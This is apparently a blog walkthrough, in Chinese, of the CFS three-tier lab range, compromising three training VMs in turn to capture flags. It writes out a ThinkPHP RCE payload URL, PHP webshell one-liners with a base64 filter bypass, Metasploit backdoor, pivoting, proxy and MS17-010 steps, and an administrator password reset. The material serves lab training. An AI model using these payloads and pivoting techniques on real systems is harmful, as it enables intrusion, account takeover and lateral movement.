CFS三层靶机-内网环境渗透
<1>靶场介绍及环境配置
三个主机的网络环境拓扑图,攻击机的网段在192.168.236.0/24,三台靶机的IP地址分别如图:

上面的 Target1、2、3分别对应CentOS7、Ubuntu、Windows7 三台主机。
(1)网卡配置
注意:在编辑虚拟网卡的时候,不要勾选红圈那个选项,否则后面代理就就没有意义了。.ova文件导入到VM之后可以打开虚拟机,使用root:teamssix.com登录主机,通过ifconfig检查网络情况是否正常。

(2)宝塔配置
其中Target1和Target2主机需要我们自己去宝塔后台配置一下(靶机描述信息里有密码 root:teamssix.com):
进入宝塔面板,选择网站,再点击网站名,将centos靶机中c段为236的那个ip添加进去,确保能够访问到对应的web页面

<2>Target1
(1)nmap扫描存活主机
1 | #扫描段内存活主机 |
可以看见开放了 21、22、80、111等等端口,我们访问一下80的http服务
访问192.168.236.141 站点不存在,192.168.236.141/index.php 404 是因为宝塔后台配置的原因,按照前面提到的宝塔配置之后就不会出现这个情况。
(2)利用thinkphp-5.0.22 RCE漏洞拿shell
访问80端口开放的http服务
访问后发现这是一个用thinkphp5版本搭建的网站,thinkphp5版本是有漏洞的,这里我们直接上thinkphpGUI工具,检测一下,发现存在ThinkPHP 5.0.22/5.1.29 RCE
1 | poc为:http://192.168.236.141/index.php/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1 |

直接GetShell没通,无伤大雅,那我们执行命令去生成一个一句话木🐎(执行反弹shell命令也可)
1 | echo "<?php eval($_POST['1vxyz']); ?>" > shell.php |
但是蚁剑连接失败,查看一下shell.php 发现内容中$_POST被过滤了

这个好说,base64加密绕过
1 | echo "PD9waHAgZXZhbCgkX1BPU1RbJzF2eHl6J10pOyA/Pg==" | base64 -d > shell.php |

成功写入一句话木🐎,蚁剑连接
在 flag21sA.txt和robots.txt 得到了两个flag

拿到shell之后,执行ifconfig,发现了另一个22网段ip:192.168.22.130。肯定就存在内网了

(3)上传msf后门(reverse_tcp)反向连接拿主机权限
既然存在内网,那就要拿出来我们的msf美少妇工具了
首先利用 msfevnom 生成一个msf后门,即elf的🐎
1 | # 生成msf后门 其中lhost为kali_ip |

到这里我们的Target1:centos靶机已经上线 msf 了,下面开始内网渗透
<3>Target2
现在还不能直接去nmap扫描内网里的ubuntu靶机ip,因为我们的网段设置,这里扫描是用的kali的ip扫描,模拟的环境中kali和centos是NAT下的同一个网段的公网主机,所以可以直接扫到,而现在扫的属于内网网段。 但是我们知道刚打下的centos是内网里的,因此我们需要挂上centos靶机的代理。
(1)路由信息探测
我们使用msf自带的 探测网络接口的模块(get_local_subnets)查看路由的模块(autoroute -p)来进一步进行信息探测
1 | # 获取本地所在子网信息,可以看到存在22网段 |
路由:路由是指路由器从一个接口上收到数据包,根据数据包的目的地址进行定向并转发到另一个接口的过程,就相当于把我们要传输的数据先传输到该路由,再发往目标,我们可以通过设置路由的方式把我们的请求从centos网段发出,这样msf不就可以与22网段互通有无了吗),所以我们要来添加一个路由(autoroute -s)
静态路由配置
MSF 的 autoroute 模块是 MSF 框架中自带的一个路由转发功能,实现过程是 MSF 框架在已经获取的 Meterpreter Shell 的基础上添加一条去往“内网”的路由,直接使用 MSF 去访问原本不能直接访问的内网资源,只要路由可达我们既可使用 MSF 来进行探测了
1 | #通过meterpreter添加22网段的路由信息,这样kali与centos就可以互通了 |
(2)msf的代理配置
路由还有一个缺陷,它只能在这个msf建立的会话上使用,假如我们新开一个终端使用nmap扫描,还是扫不到,所以我们需要去进行 msf的代理配置。
msf有自己的代理模块,就是 auxiliary/server/socks_proxy ,我们先来开启代理服务,srvport端口随便,没被占用就行
1 | # 先切到控制台 |
在kali中,通过vim /etc/proxychains4.conf修改proxychains配置文件:

写入: kali的ip和刚刚设置的端口
1 | socks5 192.168.236.128 2222 |
扫描靶机2 ubuntu的ip及其服务
可以用nmap扫描存活主机,也可以利用msf进行第二层网络存活主机扫描:
use auxiliary/scanner/discovery/arp_sweep
1 | root@kali:~# proxychains4 nmap -Pn -sT 192.168.22.129 -p80 |

能探测乌班图的端口,说明代理配置成功(前面的终端页面都不要关,路由必须设置才可以成功)
访问80端口开放的http服务,设置好浏览器代理后,访问看看

显示站点不存在,ubuntu这个靶机也需要去宝塔,把c段为22的 192.168.236.129添加进去

(3)利用bagecms-sql注入漏洞,admin登录后台拿shell
配置完毕后访问,是一个bagecms搭建的平台

源码中给出了sql注入提示:Hint:SQL注入点:/index.php?r=vul&keyword=1
/robots.txt 也给出了admin登录点 : /admini

靶场,不用在意那么多,直接sqlmap一把梭,因为需要挂代理才能访问到,所以命令前需要加上 proxychains4,同样 sqlmap也可以用参数 –proxy=socks5://192.168.236.128:2222
keyword为注入点,所以可以在执行时加上 -p keyword 更快一点
1 | # 爆一下数据库名称 |
拿到admin的账号和密码 admin:123qwe
登录CMS的后台看一看有些什么,/index.php?r=/admini/

在首页就发现了flag

在模板一栏可以修改文件,在 tag/index.php 写入一句话🐎:

提交之后,打开蚁剑,设置代理 socks5为 kaliip为192.168.236.128 port为2222
也可以用 Sockscap挂上msf开启的socks5代理 在里面添加蚁剑程序打开蚁剑

注意这里的网址使用的是模块化,不能直接加在网站上,要用?r=模块文件 的方式访问模块文件,再用蚁剑连接
测试连接,写入成功

(3)上传msf后门(bind_tcp)正向连接拿ubuntu主机权限
然后和前面target1差不多,msf生成后门,上传到蚁剑 www/wwwroot/upload那个目录。不能通过wget了,好像是代理设置的原因,我是直接kali里生成,下载到windows上,然后上传文件上传上去的
1 | # 生成一个正向连接后门(因为内网主机无法直接与本机通信,因此无法建立反向连接,需要本机通过代理连接到目标机) |
在MSF中开启监听,与Target2建立连接,这里需要注意,上一次代理使用的reverse_tcp是MSF作为监听,让Target1连到我们,而这次代理使用的bind_tcp是Target2作为监听,我们需要连到Target2,这个逻辑正好是相反的
同样,如果我们要用msf 另起一个终端开启监听,这里要注意,msf新开的终端之前的那个终端的配置都用不了。
然而这次代理使用的bind_tcp是Target2作为监听,我们要正向连接到内网里的target2,所以不能直接msfconsole打开,msf这里也需要走代理 ,就是在用 proxychains msfconsole来启动msf,再设置payload,设置rhost,lport run 即可开启监听 ……有点套娃
可以参考这个图好理解一些:

实际上继续用那个终端就行
1 | # 本机MSF执行命令 |
1 | shell |
信息搜集,ifconfig看到了c段为33 的ip,还存在一个内网

还有一层内网? 继续 msf,下面的操作就有点重复之前的操作了 确定内网c段 -> msf添加路由
<4>Target3
(1)路由信息探测
与之前一样,我们添加Target3的路由,由于还在那个终端里,auxiliary/server/socks_proxy正在执行,所以添加了新路由,也就可以访问新路由内网,这里就不用设置代理了,直接添加路由即可
1 | #通过meterpreter添加33网段的路由信息,这样kali与ubuntu就可以互通了 |

nmap扫描一下target3靶机开放的服务

能探测乌班图的端口,说明代理配置成功(前面的终端页面都不要关,路由必须设置才可以成功)
(2)利用ms17-010永恒之蓝漏洞拿shell
必须添加路由。
可以看到 target3是 开放着445、3389端口的Win7系统,熟悉的永恒之蓝。msf里现成的ms17-010打一下
1 | use exploit/windows/smb/ms17_010_psexec |

ms17-010漏洞利用成功,shell进入命令行
1 | netstat -ant |
发现网站开启了3389,同时是system权限:

还看见了我们的shell….
查看账户,直接修改账户密码。利用3389连接 或者 添加一个用户
1 | net user administrator 123456 |

win+r mstsc 打开远程桌面连接。在SocksCap中运行连接远程桌面程序mstsc.exe才可以,这里我电脑上没找到。还有一种方法
portfwd端口转发/映射
portfwd add -l 5555 -p 3389 -r 192.168.33.33

Win+r 输入mstsc

最后的flag就在这台win7的桌面上,至此靶场打穿,三个flag拿到
<5>总结
从最初的下载靶机,开启 到现在结束,断断续续统共花费了很多个小时。期间 连开四台虚拟机,有电脑卡的蓝屏动不了关机… 也有对宝塔配置、内网知识的不了解,跟着wp走却访问不了。还有途中不断解决问题时session一直掉,最后一步的远程桌面没打开等等。到后面一步一步啃完,也是学到了很多东西。
0.0 渗透小白终于打破 天天听说却不知道是什么东西,害怕没搞过搞不下来的想法,打下了第一个简单的内网靶场。后续抽时间继续深入学习,万事开头难,希望是一个好兆头,加油!
学到用到的一些东西:
- thinkphp-GUI,sqlmap工具
- msf后门制作 & msf 正向反向shell
- 路由的概念
- msf内网代理模块 & sockscap64代理工具
- ms17-010漏洞
- 跳板攻击之msf-portfwd端口转发
- 3389远程桌面登录
参考:内有靶机环境下载地方
CFS三层靶机-内网环境渗透

